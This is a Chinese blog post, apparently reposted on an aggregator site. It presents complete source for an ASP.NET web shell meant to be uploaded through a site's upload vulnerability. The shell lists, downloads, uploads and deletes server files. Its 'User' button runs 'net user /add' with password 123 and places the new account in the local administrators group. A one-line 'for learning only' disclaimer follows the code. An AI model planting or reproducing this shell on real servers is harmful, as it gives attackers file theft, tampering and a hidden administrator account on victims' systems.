利用上载漏洞,攻击asp.net 网站

news/2024/5/9 3:32:47/文章来源:https://blog.csdn.net/weixin_34376562/article/details/91603528

为什么80%的码农都做不了架构师?>>>   hot3.png

偶然发现有些网站存在上载漏洞, 于是乎我利用闲暇时间写了一个小工具。

这个工具主要可以用来列出网站所有文件 , 上传下载、删除网站文件等功能 。

将以下代码保存为文件 lkfile.aspx (可以命名为任意.aspx 文件),

利用上载漏洞上载到网站后, 得到类似路径 http://xxx.com/files/xx/lkfile.aspx

当然 测试时 也可以自己创建一个 解决方案, 把本文件放入到 解决方案中  http://localhost:2312/lkfile.aspx

当访问 http://localhost:2312/lkfile.aspx?lk=\

image

列出网站目录内容  如图 ,点击 可以进入目录或者下载

访问此链接 http://localhost:2312/lkfile.aspx?op=on

image

选择文件 点击Upload 上载文件 到 第一个文本框指定的目录, 会先删除原有文件

点击 Delete 删除文本框1 中指定的文件

image

点击User 会尝试创建 文本框1 中命名的用户 密码为 123

image

 

<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- lkfile.aspx?lk=/(列出所有文件) lkfile.aspx?up=on (显示文件上传页面,填写路径可删除,填写用户名创建 系统帐户)-->
<script runat="server">
    private void Page_Load(object sender, EventArgs e)
    {
        try
        {
            if (!IsPostBack)
            {
                string upFileFlag = Request["up"];
                if (string.IsNullOrEmpty(upFileFlag) || upFileFlag.ToLower() != "on")
                {
                    //列出、下载 文件
                    Response.CacheControl = "no-cache";
                    Response.Clear();
                    string url = Request["lk"];
                    if (String.IsNullOrEmpty(url))
                    {
                        Response.Redirect("/");
                    }
                    string path = Server.MapPath(url);
                    FileAttributes fas = File.GetAttributes(path);
                    if ((fas & FileAttributes.Directory) == FileAttributes.Directory)
                    {
                        string webRoot = Server.MapPath("/");
                        Response.Write(string.Format("<div>..{0}</div>", path));
                        string[] array0 = Directory.GetDirectories(path);
                        foreach (string name in array0)
                        {
                            string vpath = name.Substring(webRoot.Length);
                            Response.Write(string.Format("<div><a href=\"?lk=\\{0}\" target=\"_blank\" >{1}</a></div>", vpath, vpath));
                        }
                        string[] array1 = Directory.GetFiles(path);
                        foreach (string name in array1)
                        {
                            string vpath = name.Substring(webRoot.Length);
                            Response.Write(string.Format("<div><a href=\"?lk=\\{0}\" target=\"_blank\" >{1}</a></div>", vpath, vpath));
                        }
                        Response.End();
                    }
                    else
                    {
                        FileInfo fi = new FileInfo(path);
                        Response.ContentType = "application/octet-stream";
                        Response.AddHeader("Content-Disposition", "attachment;  filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
                        Response.WriteFile(path);
                        Response.Flush();
                        Response.End();
                    }
                }
                else
                {
                    //显示 文件上传窗口
                }
            }
            else
            {
                //上传文件 
            }
        }
        catch (Exception ex)
        {
            using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
            {
                w.Write(ex.StackTrace);
                w.Write(ex.Message);
            }
        }
    }
    protected void Button1_Click(object sender, EventArgs e)
    {
        try
        {
            if (FileUpload1.HasFile)
            {
                string vpath = TextBox1.Text;
                string realpath = Server.MapPath(vpath);
                string fullpath = realpath + FileUpload1.FileName;
                if (File.Exists(fullpath))
                    File.Delete(fullpath);
                FileUpload1.SaveAs(fullpath);
            }
        }
        catch (Exception ex)
        {
            using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
            {
                w.Write(ex.StackTrace);
                w.Write(ex.Message);
            }
        }
    }
    protected void Button2_Click(object sender, EventArgs e)
    {
        try
        {
            string vpath = TextBox1.Text;
            string realpath = Server.MapPath(vpath);
            if (File.Exists(realpath))
                File.Delete(realpath);
        }
        catch (Exception ex)
        {
            using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
            {
                w.Write(ex.StackTrace);
                w.Write(ex.Message);
            }
        }
    }
    protected void Button3_Click(object sender, EventArgs e)
    {
        try
        {
            string username = TextBox1.Text;
            if (string.IsNullOrEmpty(username)) username = "crack";
            System.Diagnostics.Process.Start("cmd.exe", string.Format("/c net user /add {0} 123", username));
            System.Diagnostics.Process.Start("cmd.exe", string.Format("/c net localgroup administrators {0} /add",username));
        }
        catch (Exception ex)
        {
            using (StreamWriter w = File.AppendText(Server.MapPath("/") + "log.txt"))
            {
                w.Write(ex.StackTrace);
                w.Write(ex.Message);
            }
        }
    }
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>test</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        Store Path :</div>
    <div>
        <asp:TextBox ID="TextBox1" runat="server" Text="/"></asp:TextBox></div>
    <div>
        <asp:FileUpload ID="FileUpload1" runat="server"></asp:FileUpload></div>
    <div>
        <asp:Button ID="Button1" runat="server" Text="Upload" OnClick="Button1_Click" />
        &nbsp;
        <asp:Button ID="Button2" runat="server" Text="Delete" OnClick="Button2_Click" />&nbsp;
        <asp:Button ID="Button3" runat="server" Text="User" OnClick="Button3_Click" /></div>
    </form>
</body>
</html>

本文章仅用于学习用途, 希望各位程序员朋友在今后的 编码过程中 尽量避免此类BUG 。

转载于:https://my.oschina.net/lcak/blog/155943

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_752467.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用Tableau分析敏捷,开发和网站指标

开发人员在设计&#xff0c;开发&#xff0c;测试&#xff0c;部署和管理应用程序时使用了许多生产力&#xff0c;编码&#xff0c;测试和云管理工具。 尽管大多数工具都提供报告和分析功能&#xff0c;但技术团队可能有充分的理由开发自己的报告功能&#xff0c;以更好地分析&…

大型网站架构之分布式消息队列

大型网站架构之分布式消息队列 以下是消息队列以下的大纲&#xff0c;本文主要介绍消息队列概述&#xff0c;消息队列应用场景和消息中间件示例&#xff08;电商&#xff0c;日志系统&#xff09;。 本次分享大纲 消息队列概述消息队列应用场景消息中间件示例JMS消息服务常用消…

大型网站架构设计(图)

>传统网站架构与优化&#xff08;图&#xff09;

分布式网站架构:缓存在分布式系统中的应用

缓存是分布式系统中的重要组件&#xff0c;主要解决高并发&#xff0c;大数据场景下&#xff0c;热点数据访问的性能问题。提供高性能的数据快速访问。 一、缓存概述 缓存是分布式系统中的重要组件&#xff0c;主要解决高并发&#xff0c;大数据场景下&#xff0c;热点数据访…

教师节快乐,全网最全编程学习网站汇总来了,还不赶快收藏

文章目录一、在线教程1、how2j.cn2、w3cschool3、菜鸟教程4、易百教程5、码农教程6、简单教程7、Break易站8、C语言中文网9、并发编程网10、jenkov.com11、baeldung.com二、视频教程1、B站2、慕课网3、中国大学MOOC4、网易云课堂5、实验楼6、我要自学网7、大学生自学网8、极客学…

5个最受欢迎的编程挑战网站

译  原文地址&#xff1a;https://dev.to/surajsrv11/5-most-popular-coding-challenge-website-4bh4 简介 熟能生巧 这句谚语对每个人有用。因此&#xff0c;我提供了5个最受欢迎的&#xff08;编程&#xff09;网站&#xff0c;在那里你可以通过不同的真实场景的问题来学习练…

JSP网站开发基础总结《二》

有了上一篇的学习&#xff0c;我相信大家对于JSP一定有了一定的认识&#xff0c;从今天开始我们真正开启JSP模式&#xff0c;如果你有HTML的基础&#xff0c;那学起JSP来也就方便了很多了&#xff0c;首先JSP做为网站开发语言&#xff0c;它与HTML有很多相似的地方。网站是什么…

【django】京东等大型网站的混合搜索是怎么实现的?

混合搜索在各大网站如京东、淘宝都有应用&#xff0c;他们的原理都是什么呢?本博文将为你介绍它们的实现过程。 混合搜索的原理&#xff0c;用一句话来说就是&#xff1a;关键字id进行拼接。 混合搜索示例&#xff1a; 数据库设计&#xff1a; 视频方向&#xff1a; class Dir…

【django】京东等大型网站的混合搜索是怎么实现的?

混合搜索在各大网站如京东、淘宝都有应用&#xff0c;他们的原理都是什么呢?本博文将为你介绍它们的实现过程。 混合搜索的原理&#xff0c;用一句话来说就是&#xff1a;关键字id进行拼接。 混合搜索示例&#xff1a; 数据库设计&#xff1a; 视频方向&#xff1a; class Dir…

【django】京东等大型网站的混合搜索是怎么实现的?

混合搜索在各大网站如京东、淘宝都有应用&#xff0c;他们的原理都是什么呢?本博文将为你介绍它们的实现过程。 混合搜索的原理&#xff0c;用一句话来说就是&#xff1a;关键字id进行拼接。 混合搜索示例&#xff1a; 数据库设计&#xff1a; 视频方向&#xff1a; class Dir…

c++builder 运行网站的api_.NET Core 微服务:Ocelot的API网关实现

(给DotNet加星标&#xff0c;提升.Net技能)转自&#xff1a;另一个老李cnblogs.com/SteveLee/p/Ocelot_Api_http_and_https.html微服务架构什么是网关&#xff1f;通过DotNetty构建的远程RPC框架《.NET跨平台RPC框架DotNettyRPC》&#xff0c;已经实现了远程客户端的调用&#…

国内图片网站Yupoo的架构

之前向大家介绍过全球最大在线图片服务网站Flickr网站架构&#xff0c;Yupoo&#xff08;又拍网&#xff09;作为国内最大的图片服务提供商&#xff0c;我们也一起来看看它的架构&#xff0c;同样是提供图片服务&#xff0c;看看他与Flickr的差别在哪里&#xff0c;大家看完本文…

LOL钓鱼网站实战渗透

点击上方蓝字关注我们相信很多人都有遇到过这样的经历&#xff0c;无意中点到一些钓鱼网站&#xff0c;然后就泄露了自身信息&#xff0c;造成了一定的损失&#xff0c;对于这样的网站各位需警惕&#xff0c;千万不要乱点击来历不明的网站。今天我就来说说钓鱼网站的事&#xf…

查看网站所有会话_PHP-会话控制

会话控制因为 HTTP 是无状态的协议&#xff0c;没有办法记录多个事务请求间的状态。即访问一个页面请求后再请求另一个页面时无法判断两次请求来自同一下用户。会话原理在PHP中实现会话的原理是为用户分配一个唯一的加密ID&#xff0c;并保存在用户客户端&#xff0c;并在整个会…

网站URL网址末尾是否应该使用反斜杠

2019独角兽企业重金招聘Python工程师标准>>> 当对网站进行SEO优化时&#xff0c;难免会遇到因为URL导致的重复页面问题&#xff0c;其中一个比较常见的现象就是因页面地址后是否有添加反斜杠造成的&#xff0c;举例如下&#xff1a; 链接A&#xff1a; www.example.…

Redis网站热搜关键词加载实践,建议收藏

侠梦的开发笔记回复【面试题】获取2021年最新java面试题合集&#xff5e;来源&#xff1a;Catcher8www.cnblogs.com/catcher1994/p/5877262.html对于一个网站来说&#xff0c;无论是商城网站还是门户网站&#xff0c;搜索框都是有一个比较重要的地位&#xff0c;它的存在可以说…

一例千万级pv高性能高并发网站架构

2019独角兽企业重金招聘Python工程师标准>>> 受CU管理员的邀请参考“千万级pv高性能高并发网站架构与设计交流探讨帖”主题的交流&#xff0c;发表了一案例与大家分享。 一个支撑千万级PV的网站是非常考验一个架构是否成熟、健壮(本文不涉及软件架构的层面&am…

黑科技Python轻松爬取网站信息,看完我是佩服得五体投地!

1. 引言 本文主要介绍如何使用Scrapy结合PhantomJS采集天猫商品内容&#xff0c;文中自定义了一个DOWNLOADER_MIDDLEWARES&#xff0c;用来采集需要加载js的动态网页内容。看了很多介绍DOWNLOADER_MIDDLEWARES资料&#xff0c;总结来说就是使用简单&#xff0c;但会阻塞框架&a…

牛掰!10年python爬虫经验开发的案例让你搞定全球80%以上的网站

项目要求&#xff1a; 用户入口 1、商品信息存在文件里 2、已购商品&#xff0c;余额记录。 商家入口 可以添加商品&#xff0c;修改商品价格 商家入口&#xff1a; # Author:P J Jimport osps 1 >>>>>> 修改商品 2 >>>>>> 添加商…

快就完事了!10分钟用python爬取网站视频和图片

话不多说&#xff0c;直接开讲&#xff01;教你如何用Python爬虫爬取各大网站视频和图片。 网站分析&#xff1a; 我们点视频按钮 可以看到url是&#xff1a; http://www.budejie.com/video/ 接着我们点开网页源码&#xff0c;看下面之处 接着我们把那个下面画红线的链接点开…